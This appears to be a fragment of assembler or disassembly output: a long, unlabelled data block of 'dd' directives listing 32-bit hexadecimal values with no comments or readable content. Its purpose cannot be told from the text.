dd 2143B196h, 1165F9C1h, 6A351283h, 0BADD3FFFh, 5C25C7F2h
dd 0A389AADEh, 9DEECCh, 0F61284B8h, 384FBA55h, 0FC210F2Dh
dd 185F2559h, 637455Bh, 0F7874CF1h, 0E580064Eh, 7609C301h
dd 5124E90Bh, 0AF586476h, 62EAAA12h, 0ED693AEh, 5AB75E27h
dd 27B1EED7h, 23D12316h, 76EC1C2h, 0BC416443h, 7A1F4E26h
dd 0E9A17897h, 0AD36276Fh, 9FF93F9Ah, 586427h, 37B7BB00h
dd 15682EDAh, 5318B50Fh, 43587523h, 0E6E70307h, 7B135B18h
dd 0E00C01F6h, 29684F0Bh, 4C372A6Fh, 321B0AB1h, 1425D220h
dd 0F819E251h, 8174505h, 11068247h, 5D442902h, 0B50EC4D1h
dd 585EA439h, 0EEBE52EFh, 0C460CC2Dh, 8FA982E3h, 2AE6555h
dd 6F6B6852h, 0AB827971h, 40312615h, 5D1195C8h, 14E9F2Bh
dd 6F685F44h, 5B54D03h, 0EBD8832Bh, 0C8E501CAh, 0E5407516h
dd 0CC0A8EBAh, 0CA81035Bh, 3E8217Fh, 44AF0C04h, 389C14A8h
dd 0D1590576h, 0C2D0F77Bh, 0C775D73Ah, 57748732h, 0F3C33F40h
dd 41D2273Bh, 480740C1h, 5716A613h, 0DDAC46B5h, 0DEEE90Ch
dd 0BA77B1AEh, 7E07D44Bh, 0C8013704h, 0F6AB753h, 0F5EBB99Dh
dd 0BE0331F0h, 3BD437B0h, 8F82801h, 0F46EBFC2h, 30E95209h
dd 0EBEDD423h, 11043D5Eh, 1BC17C0Ah, 0A8045896h, 5BACD875h
dd 2FE91255h, 4F4F4FBh, 0E56A8B41h, 6F4ACDC3h, 0DAEDB104h
dd 5701DFE2h, 5D367868h, 871CF84Eh, 4AEF85C0h, 0BF483B33h
dd 882ACFAh, 625FDC02h, 8B4009FAh, 7C91D8D7h, 909C89F2h
dd 0CD73C74Fh, 58EA760Bh, 367E7C1h, 0C1CE0506h, 102F26D0h
dd 48520C80h, 5351144Bh, 94A9683Eh, 13C420B5h, 66531644h
dd 0C71015BDh, 0E3462E7Bh, 1350C403h, 0F7F6B017h, 7C4C345Fh
dd 0AD72C4DCh, 22D69EFBh, 0F0D82E0h, 4AC40A32h, 98574344h
dd 45178CD7h, 8DA95D77h, 0DEA5EF02h, 625FA10Bh, 0D286FFDAh
dd 240BB647h, 41BB06Fh, 0CCBEC554h, 704E9E8Ah, 0A8846FE2h
dd 0E25390CDh, 50265657h, 9B00540Ch, 0E93B122Ch, 421D4EC5h
dd 3F4745F2h, 56C7C5E0h, 58F05417h, 84033EDh, 0E30830E9h
dd 199C655h, 8672C528h, 4F042501h, 968CE92Eh, 1459943Eh
dd 0EC4FC5ECh, 0FEF75E49h, 0C1B58C5Ah, 9CF3E409h, 6C1E80DAh
dd 4A7E282Dh, 177B94Eh, 64A33C2Fh, 6E7C06E9h, 16085E24h
dd 0E5CCBB9Ch, 0B56B4A56h, 78666501h, 63D1B241h, 324C74C5h
dd 0BD26CC88h, 0A818285Fh, 5914E818h, 0C18F482Ch, 5300043Ah
dd 0C3FE7BB3h, 0B5065166h, 0A88BE934h, 915D4B52h, 221652Eh
dd 0FB845F09h, 7BCEBC7Dh, 27D0E856h, 0BCE6685Dh, 2DEE9FCEh
dd 0BD18D120h, 0B5F06DF8h, 2ECA6AF5h, 913E267Ch, 0B00B69B3h
dd 5708BC54h, 0BDB5C355h, 0B4BD8648h, 0E699EA09h, 25EC0D7h
dd 5003EAC0h, 2C61B014h, 0CD181A99h, 905BFA29h, 91672F47h
dd 0DB48EE51h, 0E0AF6626h, 8BC336B4h, 0F94ABAB8h, 0D84B497Bh
dd 92B89000h, 0F4637043h, 1179280h, 2068565Ch, 317A3613h
dd 0AFE7153Bh, 0A2274BC0h, 0E8890259h, 1C0835Dh, 1F5FF95Dh
dd 710BACC6h, 43B33A8Fh, 0EB4EFF4Fh, 216AC95Ah, 0C791E9FDh
dd 0ED9A2668h, 0C1886F10h, 222F4C9Fh, 0F097789Fh, 0BCFE20F2h
dd 79F1801Ch, 9420BDFCh, 0D295E56Bh, 536C08h, 0C94763BAh
dd 0EA48C15Ch, 4EA5164Ah, 26E071E5h, 7D8FB841h, 16714AD5h
dd 0D342E675h, 263DD708h, 60570CAAh, 0B15B4917h, 5FE9C699h
dd 57BEAD11h, 0A39BA3BBh, 8BBF1600h, 515DF00Fh, 1EC00BB9h
dd 45D538D6h, 50A4A2h
dd 45CE48C3h, 0BB7E8E9h, 0E045FED8h, 5E5068F1h, 0A08D993h
dd 5A088B51h, 43C5FFF1h, 4F299BD1h, 5C9A1168h, 1F824E63h
dd 555C147Dh, 0D233E8EFh, 0D6496980h, 0F332874Ah, 854B0646h
dd 18F5D8BBh, 57C5C13Bh, 86F6D625h, 264FDB08h, 43AC259Ch
dd 47F82124h, 0F7F53B5Eh, 42E90800h, 0B6A4A806h, 3C3F131Dh
dd 5EA0031h, 2D3E4FDEh, 740583E2h, 0D02911B3h, 81373C4h
dd 0C8A346ABh, 53EC9594h, 0A9B6B05Ah, 8527257Ah, 7B4E59A0h
dd 0E0BD70D3h, 0B8E6C171h, 14C60169h, 0E9539D1Fh, 74823B89h
dd 0E4AC5E5Ch, 95E90330h, 280A1A8Ah, 2BFDC2D3h, 3800FD0Dh
dd 1BD93385h, 66CC6814h, 4D5D4A9h, 6F625BDCh, 0F36A6BAh
dd 0A130449Dh, 33A4E951h, 0E1C458h, 0F7110C07h, 0CB814BDBh
dd 9E600D0Bh, 488FC1Ah, 0BA83F17Dh, 0EB84150Ch, 5FF99D5Ah
dd 75E3A43Dh, 5CD976AFh, 6BCE5995h, 0B03294D7h, 0F4C441D7h
dd 3C3D209Eh, 147C2C6Ah, 6DCF9AB0h, 0B8695A7Eh, 20824805h
dd 0DDF713AFh, 4A51014Dh, 3BCC28DFh, 0F37EDA89h, 84BDD6C8h
dd 0CD0AA885h, 0FA9DE0A1h, 5AD95495h, 0EEEB820Ch, 929A902h
dd 41F2892Bh, 225458F4h, 0BE4048FCh, 0BD3EE179h, 26AA8911h
dd 5CFA296Bh, 0A034E389h, 21B0EB41h, 0F8307656h, 89099DCDh
dd 85DACAFCh, 2AA3DEC7h, 19122F0Ch, 154AE782h, 520E8ECCh
dd 8004D6B7h, 0C2364775h, 0B0575A73h, 0BFD8AA21h, 0F72F0BE4h
dd 128A60DAh, 200A2EDFh, 6C9F0370h, 0F2E10E24h, 6DDFEB16h
dd 2B9835EAh, 0E9E0ACB8h, 0F8BAF3D3h, 78555777h, 6C862AE4h
dd 2D037B70h, 0AF3F562h, 0B099BC28h, 0D0FED613h, 98F10521h
dd 299FEC02h, 0C13158C2h, 1D220F9Ch, 6F17C302h, 0C6D70214h
dd 3B7AC9BFh, 0EB813674h, 65E16DF4h, 188E3082h, 6BC06BD2h
dd 0C0A7C4EAh, 6B6889BFh, 2D14E618h, 2BE8D5FBh, 3C2D093Fh
dd 1F00F57Ch, 2E70A06h, 23B8DBF0h, 17F5072Eh, 5450A769h
dd 85865EC3h, 1279E3ABh, 612EB29h, 0F76B33E1h, 9FBF1304h
dd 520382A7h, 765374BAh, 0BCC7E00Fh, 4A65AB25h, 0E90801EAh
dd 0CC7EFA69h, 1F12DBE8h, 8026D55h, 0DA6863C8h, 8ED51E6h
dd 172ACD21h, 0C6FCF39Ch, 9AC7103Eh, 0FCEE2027h, 0E049AA90h
dd 0A40B5EB0h, 0CBADFD1h, 0E877C855h, 0E9098536h, 5A69258Ah
dd 203BDAAAh, 0E99C0B09h, 3FD6B8F3h, 863500BDh, 5550594Dh
dd 18579868h, 0DC5D2349h, 623B207Ch, 27E50256h, 603F9325h
dd 2E2C262Bh, 8A7C5803h, 9FDC631h, 0AE5130A3h, 0EC0CF396h
dd 1E8014CFh, 56C0F1C9h, 1CECF406h, 0BA00E696h, 60ED4081h
dd 95D14889h, 3E74C9E0h, 563F2E03h, 0C207A5BEh, 42DA7708h
dd 4768590Bh, 6AE83048h, 429EB64Ch, 0D81ABA52h, 7E769F5Ch
dd 0B0C65569h, 8205544Fh, 0DFA65857h, 0EE05654Ch, 0A963B25Eh
dd 7C084124h, 30CBD01Ah, 88CDC1ADh, 3DD52768h, 2604DDD8h
dd 0EDC17C39h, 90D748C2h, 1769B9FEh, 0E816B676h, 21E1007Bh
dd 0E962D477h, 4F8561E2h, 0E104E4F3h, 7CECED22h, 7C5C2FCDh
dd 9B368C79h, 1401C729h, 5073FB7Eh, 2E20F889h, 62BC4A41h
dd 0CC7529F2h, 0F9874A2Fh, 1B8AD637h, 69ACBF00h, 0BD5577EEh
dd 3461330Bh, 53B0B79h, 0EC4487BBh, 0FB80505Fh, 7DE20722h
dd 2B555934h, 6CB6BF31h, 4F383846h, 0C2078F85h, 2CA52658h
dd 22403CD3h, 0C60EA3F8h, 6562B960h, 0EFBF309h, 6360C1FFh
dd 0D119E94Eh, 88CB89Ch, 74069A50h, 663C484Dh, 2630D40Ah
dd 3E063BE0h, 9E4ED137h, 0DE139F1Dh, 5BDD2945h, 1EACA52h
dd 80EBB7B8h, 0E9732073h, 5A7B994Dh, 47118FADh, 0B7488474h
dd 9E5D5109h, 0B9E913FDh, 0C4D8AC9Fh, 85A23FA1h, 0E7ED2C78h
dd 60D3A803h, 4FBD0C0Dh, 4048AA21h, 969D3D62h, 36010765h
dd 12BF390Ah, 63336900h, 38262598h, 0AD9789F6h, 117408AFh
dd 0BF196027h, 56603F59h, 4521BE9Ch, 0BA32CFE9h, 7D84CB32h
dd 0ED520B04h, 2F6AB631h, 13BA09EDh, 1B2DC066h, 4054B27Eh
dd 919668Ah, 9E90D4Fh, 74C091C2h, 75824A40h, 2E3A4DC9h
dd 9D28FFA0h, 784B1758h, 8744D6C3h, 3658CE9Eh, 0B5786BFDh
dd 8347775Bh, 26358369h, 0C86112C9h, 8C340159h, 3B160447h
dd 7D25DC1Eh, 6F5D16B9h, 409711D8h, 0B81D66B7h, 350E1E2Dh
dd 0D1FBE65h, 993D4D9Fh, 0A5085525h, 58B32360h, 0F8F49443h
dd 53CB4AFAh, 0A8C0292Dh, 75026BBFh, 5F68D922h, 62C6D60Eh
dd 9F0F9362h, 0F722A689h, 0CCE3BB6h, 1AAF89E9h, 0C7F5456h
dd 546AD843h, 0F071DEB5h, 0B84D08E9h, 0F0F41EE3h, 0C95D7209h
dd 913FE8ABh, 79B776C6h, 81AFD263h, 48A0C955h, 0F2605AF7h
dd 0EA29597Ah, 0D621275Dh, 68962898h, 7A122B2Ah, 4ABF7A9Fh
dd 392DB26Eh, 0B1BF3A80h, 28400ACAh, 3813F47Ch, 0E0F3C9B7h
dd 0D493C3E8h, 9B94E40Dh, 420AF53Fh, 0DAE3F80Ah, 8441C6F8h
dd 0E2A10D4Fh, 232DC83Eh, 0AE5B3977h, 0FB247DE9h, 581610D1h
dd 0DA407E8Ah, 0C086130Ch, 4D72E8E8h, 5F5F2FF0h, 0BA7DB416h
dd 20EB6CBDh, 0B805C243h, 1956F68h, 966904EFh, 85570983h
dd 0D0BAECE2h, 7013BA56h, 2D27A5Ch, 0E037E2EAh, 82B0D629h
dd 47C69A8Eh, 0D320D970h, 75898D2h, 7D5915B3h, 0A6A73F5Ah
dd 0E4D70B1Eh, 21512530h, 273EABF9h, 0BF677C52h, 7EF76A19h
dd 0C6F93E5Bh, 15208990h, 0EA4B01FCh, 3EA52091h, 0D4C1B72Ch
dd 3E8FC193h, 8E3B74C1h, 0B98BC510h, 0D38A5128h, 0F92FCE41h
dd 0B49810FCh, 0F1865803h, 848D6F6h, 17374D60h, 4444015Ah
dd 8A1F12AEh, 0BD95D4C5h, 0C2E41CADh, 47EDFA4Ah, 8BDDD38Bh
dd 4EC47F3Ch, 739B6815h, 0DEE9165Ch, 20AB5E84h, 0C837BE52h
dd 3EE0694Ah, 1F172D68h, 80CFD77Eh, 0E9284472h, 0A2C95B93h
dd 0A840D346h, 112F3154h, 3AB84850h, 0C114771Ch, 13D23473h
dd 7F0FF1E9h, 8C7216D7h, 0F56685F6h, 7A47C9EEh, 5C8428B8h
dd 0C487B839h, 4018AE64h, 0BB80E22Dh, 13657DE4h, 4EBC148h
dd 1381DC95h, 73DE2A01h, 0C42F7B82h, 0DE98AA66h, 4BE3BFD8h
dd 0E1DFF604h, 0A3BE83C7h, 0DCBA0357h, 13A4867h, 0F507330Ch
dd 43D70128h, 9877786h, 2DB8675Fh, 0DDFE965Fh, 0AD6804E6h
dd 3838FA3Fh, 419D4C0Bh, 0FA0487A5h, 0FAEE032Ch, 57F9122Fh
dd 105A2052h, 7E9FF170h, 425F7AF1h, 5B10692Fh, 0BABB253Ah
dd 0FAB4F6E2h, 5954AA44h, 837B102Ah, 49535425h, 6C04C292h
dd 1BB877CAh, 4A51AEC1h, 9BA02B2Eh, 0E90FC2AAh, 0BC713E89h
dd 225E801Eh, 16F460CEh, 122A8EBBh, 67AEC3A8h, 0FDCCA32Dh
dd 2768F609h, 62C3D454h, 9E7D0F2Ah, 4BC290A9h, 0CDE8C5E8h
dd 0E0A3EC23h, 12CB64B5h, 357D3668h, 0EA89BAB0h, 0E8D2960Ah
dd 1468C26Ch, 8AFD5179h, 40577DAEh, 5C037F3Ah, 56425A05h
dd 12AF33E9h, 0BD8EEBAEh, 4ED0E90Ch, 0C55A01CDh, 0C45F23F2h
dd 9589AF33h, 8540B8C9h, 91E711E9h, 5FC8C03Dh, 21254D53h
dd 418351EAh, 2E08E2C1h, 0E91ADFB3h, 0C6F70DCDh, 3954A07Ch
dd 6C759CB1h, 2BE9C0CAh, 5ADB5430h, 354F1AEAh, 627D0BDFh
dd 55A29AC2h, 0BD2C0C46h, 70C38D6Dh, 0E2113B45h, 0EDFB498h
dd 5DAE5D5Eh, 4406E91Ah, 0D4F01091h, 575A80B5h, 49527EEh
dd 8C804FA0h, 9DD0FA51h, 0EE8C5C1Bh, 0C260E8D9h, 44862471h
dd 606D02AAh, 0CE722A63h, 0F7E90880h, 0DF31B24Fh, 680050FBh
dd 260E52E0h, 3F4D5D1Bh, 0E0524C53h, 83B408AFh, 9F87C625h
dd 0CD8B6B73h, 77C829F8h
dd 0B2A5BC38h, 4455FC97h, 0E14AB1E4h, 6C8F2057h, 9C703E32h
dd 7B137DAAh, 56F046D8h, 49B1294Eh, 66E90801h, 0B07E51BAh
dd 582D1FB0h, 809F1235h, 8E6C1A9h, 0FC0B0298h, 8BF3AC77h
dd 550D8B4Dh, 40979F6Eh, 836B9216h, 4FB9BF7h, 0EB80F501h
dd 3CCC001h, 50C2C4D0h, 0BC21012h, 773360F3h, 4B39F48Ah
dd 54362000h, 6895629Bh, 2C0ED069h, 20E1114h, 7B527DBBh
dd 7C25C5FCh, 38532858h, 0FF4A9E5Fh, 0B58A592Ch, 0F32D4C80h
dd 157A1C58h, 14A71830h, 0B55BF820h, 0FF1CD758h, 0C3169B2Ch
dd 0C70A23AAh, 75E0062Fh, 0A898E02Eh, 731E1E2Dh, 7B0D81h
dd 38F342EBh, 50933B05h, 50859CCDh, 0B4847563h, 4A5F28EFh
dd 5020AFF6h, 0B0C4FE6Dh, 26BABC80h, 4BD60B6Ch, 184E6546h
dd 0CA299E07h, 8490F073h, 0D26DA2BBh, 76DEC802h, 0FBE1E039h
dd 52FA38E9h, 3235AA4Bh, 48C433BCh, 3462CD7Ch, 0FCB70CACh
dd 0D08364FDh, 3544E9C3h, 0F6062097h, 12604130h, 0FAF3892Dh
dd 0CB3EBDCAh, 65A2761Eh, 0B52C4E7Ah, 42259719h, 2C7853CCh
dd 2E8402C4h, 0C05732BDh, 0EA02E532h, 54890D5h, 1C651E6Bh
dd 68F90529h, 0BDF3AB60h, 880C3D02h, 81D8426Bh, 46CE91Ch
dd 0A99937C9h, 7716ABB4h, 68093B65h, 2BC7BA9h, 46FF124Ah
dd 3E71DE80h, 0E9256BDEh, 0AE2B785Bh, 6307F877h, 0FD303EEFh
dd 0E12C5BF0h, 0D3FDE8E0h, 0EB59E528h, 0B73C6344h, 666B8CF9h
dd 58DCB5C4h, 401456A5h, 4EB61A15h, 0AE5F94A0h, 0EF187167h
dd 104A46D3h, 48D66C88h, 5A211083h, 0BFB0005Ah, 164746DDh
dd 0D0F78101h, 97599F58h, 7BCFD8D9h, 27E11714h, 68D20BB0h
dd 0E3B10F68h, 0EA254382h, 501776D5h, 0B1B7C583h, 0EC7B55F0h
dd 95E98233h, 12FAE8DBh, 0DEDE635Fh, 0F5093BA0h, 0F63A1B68h
dd 45756B52h, 6AE90B7Dh, 7E2FF876h, 0AECB62AFh, 575E8907h
dd 680B96BDh, 0B6734F18h, 7926E941h, 0E5C6C981h, 0ED4E8B58h
dd 130C3C7Ch, 0FCF8C468h, 1E70B9C0h, 0FC802043h, 5EB3245Bh
dd 8FFA1E4Ah, 0BC651D62h, 1094ADAFh, 2C1CAD1Bh, 281483C5h
dd 0BEA504D8h, 345E4A02h, 4C0D535h, 93CDA109h, 0D500CB66h
dd 259942B7h, 72504F3Bh, 0CF81021Eh, 29070E04h, 0FA6A4980h
dd 0E9EE0C97h, 0EFCB74D9h, 0B93067ECh, 24800C7Eh, 0E9621341h
dd 6838420Eh, 2B663ED2h, 0D34C22B7h, 7932771Bh, 0A3204E6Eh
dd 0F5213BDEh, 0F887B793h, 0F28ED843h, 984CE43Eh, 17EA0ED5h
dd 42DD3F35h, 0C3016DEh, 0E3A5840h, 156E00Bh, 0F13B80D5h
dd 0FD7B8B6Ah, 76311D4h, 3DE9490Ch, 69510B85h, 6B742D8Fh
dd 0F1025D6Bh, 0ADD41EE9h, 0E539CC3Bh, 0F3B9B652h, 17F26D84h
dd 4B2231EFh, 94492434h, 64D75918h, 586F43C8h, 0EA12E096h
dd 5674282Ah, 0F8CE8927h, 0ED5959BCh, 8991552Fh, 51F5EA5Dh
dd 97D6ADB3h, 79417389h, 6B81902Fh, 0CF6CF536h, 74E95512h
dd 0C2B8E5C0h, 87222C34h, 2B2A3ED5h, 5B5F48DFh, 0A16AD104h
dd 8BD4EA6Bh, 5D590809h, 0F4A7C9C7h, 0AD2F4230h, 12E78100h
dd 6FAF245Bh, 5E3A021Bh, 34E1058Bh, 97F97DD7h, 0ED022DA8h
dd 1648D18h, 0F6347F7Ch, 0C23025F1h, 258B40FBh, 3A458409h
dd 4245820Fh, 0ED65DDF5h, 0D1F76909h, 92DA2DE1h, 79EBDB31h
dd 0D7C23C3Ah, 44CAE353h, 98685643h, 0BE06966Ah, 0F1FC974Eh
dd 17E67B73h, 70201422h, 54562CD0h, 0F80F1283h, 0F7E5DE41h
dd 73965E94h, 5F648C48h, 432C2DA5h, 55B24ED4h, 0B7CDD2DDh
dd 6FB41741h, 0F4A4B204h, 76C78100h, 3A50A5ACh, 91CFCC7h
dd 0F4A70F89h, 974F09D1h, 1A31ACC6h, 5B5D4EE5h, 0AC2B8131h
dd 4BE9BC80h, 5B19CA89h, 50E828BFh, 0AD06802h, 84584052h
dd 0A51D82D0h, 39AB1C77h, 0DE06F331h, 0A0C09CE9h, 0C5EE1390h
dd 9C01BFD2h, 4F371C49h, 8218F6ECh, 0F6528C5Fh, 0D4102E06h
dd 29C70E6Bh, 220ECE2Bh, 14D9B86Bh, 68877418h, 8C674E92h
dd 5F4E9DF3h, 2078CEA2h, 5A5F9853h, 935E9B0h, 90F371Eh
dd 0BCC15062h, 6ABE00DDh, 4A491B39h, 0FCBDB053h, 63FC4AF1h
dd 8F4930B2h, 87C07E29h, 4C080305h, 2806DF01h, 0CC1A9164h
dd 0DDEDB602h, 0C2F9299Fh, 0B75077CFh, 0F8B2E14Eh, 0A47974C1h
dd 3E046F5Ch, 88A4AEC6h, 43632FB3h, 662D3A65h, 0C8292C43h
dd 3B31083Fh, 0C6D7BE01h, 816FABD2h, 6F0406CCh, 0CA0B98C5h
dd 16A583Fh, 524C65BDh, 41EB2142h, 21148B5h, 893F545Eh
dd 0B05D0768h, 80841CFFh, 0EB01C05Ah, 51C3FE06h, 3F828B5h
dd 0D52FC147h, 0CCD3C580h, 0E89D1CEDh, 95AB3BE8h, 120974D3h
dd 40E6322Ah, 8613070h, 0D629191Eh, 0D4900820h, 3379C539h
dd 8C5A1C58h, 9E8193ABh, 0EE0901ACh, 8CDC15Dh, 1381F02Bh
dd 72ABD35Ah, 717D5F45h, 0BA907A81h, 2FC05C2Dh, 359FE2EEh
dd 0E8094BE5h, 0DF4018B6h, 9FD00166h, 7C25A3F0h, 633C5913h
dd 8376DEC2h, 8E810B4Bh, 50C2F9B7h, 978BF620h, 0CB48445Ah
dd 54E1399h, 10AF6E12h, 9A27F445h, 3B7ED30Fh, 43139D96h
dd 613AF569h, 16FE1410h, 0EDD0553Bh, 0CAD25A1Fh, 0B3C710F6h
dd 0EDF3387Bh, 0E8734B73h, 1DE1F26h, 34FC6F97h, 0F40DC44Bh
dd 6C417719h, 0D306371h, 0F1392D12h, 0B43F307Fh, 0E83B2F1Bh
dd 0B8D76942h, 0A4849E6Bh, 44AF0BA7h, 0E3F4161Bh, 1AC0E016h
dd 76A7BAh, 0CA8154BCh, 48A91603h, 0CB424A38h, 0F3643AF0h
dd 15BE0105h, 0EF35F262h, 0F3DE5CE2h, 60E1F5E9h, 5DA16AB0h
dd 0E062BD6Fh, 0A89F44E9h, 7669BABh, 0D33156EFh, 28863A5Ah
dd 55E80BFDh, 7F064146h, 214CB591h, 0DAF71ED8h, 4580F292h
dd 1369F680h, 1D6BB151h, 0E8902D8Dh, 49004DBDh, 0BE56160Eh
dd 168D4CA4h, 0BBF5312Eh, 60E9DA28h, 7FB9955Eh, 72DA815h
dd 292BDF29h, 8098EDC4h, 8B91975Fh, 673363FAh, 59781262h
dd 7ACA3103h, 0A9EF5B17h, 2CAA5A9Ch, 1009BA16h, 0D04C0C2Fh
dd 0C2811C45h, 1F6B4418h, 0E11EC242h, 0B49A6803h, 9FD496C8h
dd 55C9BA1Bh, 0BABB0015h, 0E1AC4A37h, 7F003A57h, 7EB56FF1h
dd 1ECF30E9h, 846B9BFh, 81641A01h, 655816E1h, 13E9D060h
dd 0B19537Bh, 9294468h, 66692AD1h, 0B1E9177Dh, 1920F9A8h
dd 77F1C667h, 55B7ABFEh, 0B5A14F0Ch, 0C614FA1Eh, 2AC9328Dh
dd 5C51826Ah, 3055626Ah, 281CEE12h, 41FB0B10h, 0E1542BF7h
dd 291A3068h, 3B404BCDh, 0C50212F1h, 36E53852h, 0B1132A74h
dd 8DE191ABh, 975E235h, 889088Fh, 8CAE5D16h, 335A2D42h
dd 0E1EB3624h, 40D0F13Fh, 8724094Ch, 0EB046076h, 20A6963h
dd 4ACF1BFh, 58538B08h, 77B38F15h, 0A3113B62h, 0A1C480A0h
dd 442FE288h, 0AAD30D3Bh, 3434F6E3h, 0A3B5BB9Dh, 17C41520h
dd 0AC07612Fh, 1E005EAh, 75FC3D3Eh, 0C1D1E24Bh, 53194779h
dd 68570600h, 7C0027ECh, 0DA2D5F59h, 1454501Ch, 705F829h
dd 4E7EA25Bh, 3F9310A4h, 2D7D9D45h, 78DCDA5Bh, 0D6C93D50h
dd 443BB177h, 0BAD0FEF4h, 1AC00DA0h, 105C2901h, 7955D41h
dd 88EEDF94h, 2D0E6657h, 0A3574A96h, 0CA6CB9BFh, 0BE697153h
dd 0FE7EB81Dh, 40AFBB3Dh, 0E916DC54h, 68E680ABh, 572CBEEFh
dd 5B804FC6h, 0E93A1C7Ah, 8C654A36h, 91F3266h, 99493E38h
dd 6385F4D3h, 0FA84BA1Ah, 9292A6B6h, 9E6A718Eh, 0E9E226F1h
dd 2F0976E8h, 0E918923Ch, 0F329B54Ah, 0E57F76EAh, 5DAAB645h
dd 1BB089A8h, 973DD97Ch, 15A863BAh, 6BEFB9E0h, 86984F76h
dd 0CE0B8F09h, 32800068h
dd 0C16DC07Ah, 8511280Ch, 0ABE12F21h, 6B1B7240h, 0D08ACB96h
dd 0E0BA88C0h, 1127901h, 6504F281h, 0B7ED2FDh, 470231A7h
dd 0B84873E9h, 0C524685Ch, 56515638h, 68C04822h, 48AE0F83h
dd 0CC2D5800h, 0E9143F3Eh, 0BD8A70EBh, 0F165A0DEh, 6C67CA21h
dd 3B0D1F82h, 8BD7781Fh, 0B15D0C2h, 70345737h, 0F66FA1F5h
dd 88C5D90Fh, 0CD2AF16Ah, 251B71EAh, 9422203Bh, 93CF173Eh
dd 0E705EDD1h, 8ABFB499h, 527C6068h, 2B1D9F68h, 9FFF414Dh
dd 19A9B387h, 0C24627B9h, 0CB14F1F5h, 7D2BCC5Dh, 29F05AE9h
dd 1E0CA506h, 0E9530B3Eh, 5148F5BFh, 18B705C0h, 82963107h
dd 173A70DDh, 0B8749768h, 0D7EFA148h, 68FB8982h, 0DD7C5E1Ch
dd 259C52E9h, 317E51F8h, 25446072h, 452D8089h, 393A4D1Eh
dd 0ABBCC717h, 49556304h, 0AF87800Dh, 0AA5E1EE2h, 0C1C24884h
dd 2EBF00DEh, 4C48203Ch, 0C3D609A0h, 0C59780DFh, 4CCA1FD7h
dd 9D40C70Bh, 452A1461h, 33038702h, 0E973EC64h, 0A1949682h
dd 0DBA717B4h, 2874492h, 0FA3C81E9h, 4DCA0CF6h, 3A7C2B33h
dd 0D4CCB216h, 314804BFh, 4C8513E7h, 0D4EFE7FBh, 0AA6517DAh
dd 0F12EC8AEh, 0A349FA7Bh, 0C1B70431h, 0EE82F730h, 957C4C2h
dd 358465D8h, 201C0E0Ah, 6BA79D08h, 0B90E4813h, 0B440045h
dd 9ACF8957h, 0E25948B7h, 2B7D5E06h, 3470966Eh, 36C3Eh
dd 423C1DE5h, 25E94D79h, 31749D2Ah, 1A0F246Fh, 6C9C0D00h
dd 0F7127A0Eh, 7C4255D0h, 6067B978h, 3E02EAE5h, 0C604149h
dd 1D2B319Ch, 0F07CDD80h, 0D5892772h, 1772142Eh, 3849AE05h
dd 98927059h, 27D40E24h, 0E5A43204h, 645FA4CCh, 61D11B13h
dd 0AB5FABA8h, 1AE0E56h, 771AC52h, 3040804Dh, 29327801h
dd 7C3590F1h, 665D3087h, 8B77FA68h, 0CF064976h, 6E5B70F3h
dd 0F9898084h, 3242C0Bh, 6252894h, 5F19FDC5h, 70EF5845h
dd 0DC5B4B4Dh, 0E14FBFE8h, 7E696141h, 0BA9671F6h, 0B681CA61h
dd 9221372Fh, 475F3935h, 10582667h, 92775C0h, 80E492A4h
dd 6359477h, 3906B061h, 0A44C6F10h, 6877CB03h, 0E3E0333Bh
dd 0CA3C1150h, 76F6965Ah, 0EFB40060h, 0BDED4BF5h, 0D0FD16FBh
dd 0F4A6BCh, 8F27968Ch, 0A1B83166h, 48A17B4Bh, 0D2A4AC6Fh
dd 62903709h, 0C0C5F798h, 0A71F5325h, 0E93C1877h, 342EB77Ch
dd 0C26223C0h, 0C87D29C0h, 2B9C3234h, 0DF121BA3h, 293CAE6Bh
dd 26CE50D2h, 5D17065Ch, 0CAD1010Eh, 0CCF7088Bh, 14163722h
dd 0CABF5099h, 0A9D4D23Dh, 2D3B5AAh, 0CD66C4D4h, 0D868F3B1h
dd 9267702h, 8E71F571h, 663AC632h, 0B85003BEh, 6AC737EEh
dd 61DFD9F2h, 18815B58h, 61084B32h, 1273CC2Dh, 6E351800h
dd 5303D33h, 0A045171Bh, 0C6E4B1F1h, 3A0751DFh, 0FB68DD85h
dd 9E13BBE3h, 73C0F8E2h, 0E936711Dh, 4E81555Dh, 0F5E5C0D2h
dd 0CE4E7FD3h, 0B231C02h, 0B3C8C659h, 91D7CEAh, 933F2913h
dd 41AD5F0Ch, 0F40B980h, 0E4B74A72h, 68A088B4h, 953F70DDh
dd 5F7A41DCh, 2345E579h, 70EBA5C8h, 170B257Bh, 408C328h
dd 0B3473368h, 2AA070B8h, 5B3852EAh, 44F85A9Ah, 0F6AAB781h
dd 0B3A6E4D7h, 162528C0h, 0F4663B5Bh, 948C4B88h, 0F2A580F6h
dd 7A2E334Ch, 8025D870h, 651CBE56h, 0BB2B5E41h, 31F8F253h
dd 7E15D406h, 0D6030C5Eh, 89AECDD3h, 0E91200F2h, 3C452F21h
dd 564CD129h, 0E64E2D8Bh, 56324FDBh, 7B71BFF3h, 907AA2DCh
dd 8890B56Ch, 3915D09Dh, 0AF66EF3h, 7543E949h, 86EF9C9Fh
dd 8D2F7D5h, 426241FAh, 5DD9301Ah, 702636E5h, 4A57E950h
dd 4921BAE5h, 303A7656h, 127B5965h, 29903659h, 0E958E651h
dd 3DE15B82h, 0C3412098h, 0A1B272DDh, 0E545F75Eh, 4A1E6807h
dd 0FFCE5D0Bh, 0BC2FE918h, 9707A325h, 0E020C247h, 7EB56670h
dd 6097A2Ch, 0ED78386h, 0EF617695h, 4A17CBA5h, 70275A0Dh
dd 25F43EB2h, 520A5890h, 3F3077E9h, 0E84B5D9Eh, 0C2645665h
dd 5601C2E3h, 57CEEE89h, 77404CB0h, 31017F17h, 38E99E80h
dd 7224BD64h, 58D10B05h, 232C1803h, 0C4402476h, 927CD1BFh
dd 5EBCC256h, 8CDA595Fh, 0AD0A23C5h, 4770FBECh, 5B675C9Dh
dd 291C07F9h, 53BF4B4Eh, 8D724469h, 2D5F00ACh, 5A187F85h
dd 0D1C0127Ch, 7968DE8Eh, 6617046Ah, 0F1BA1B44h, 76F83B6Fh
dd 0FE02AA93h, 5672B051h, 6D82C070h, 2D266065h, 0EA60C901h
dd 9ADA2710h, 0C129098Bh, 0C7FC8BE9h, 45B65286h, 59C940B0h
dd 66EA6827h, 5623A2D1h, 0B4FF2D1Fh, 95DDEA21h, 0F989B730h
dd 0A640FCB0h, 0CE082758h, 0CF84E72Fh, 0C298AEAEh, 0F6854450h
dd 8945770Bh, 72FF8039h, 135C1126h, 634B3F68h, 34AFFE7h
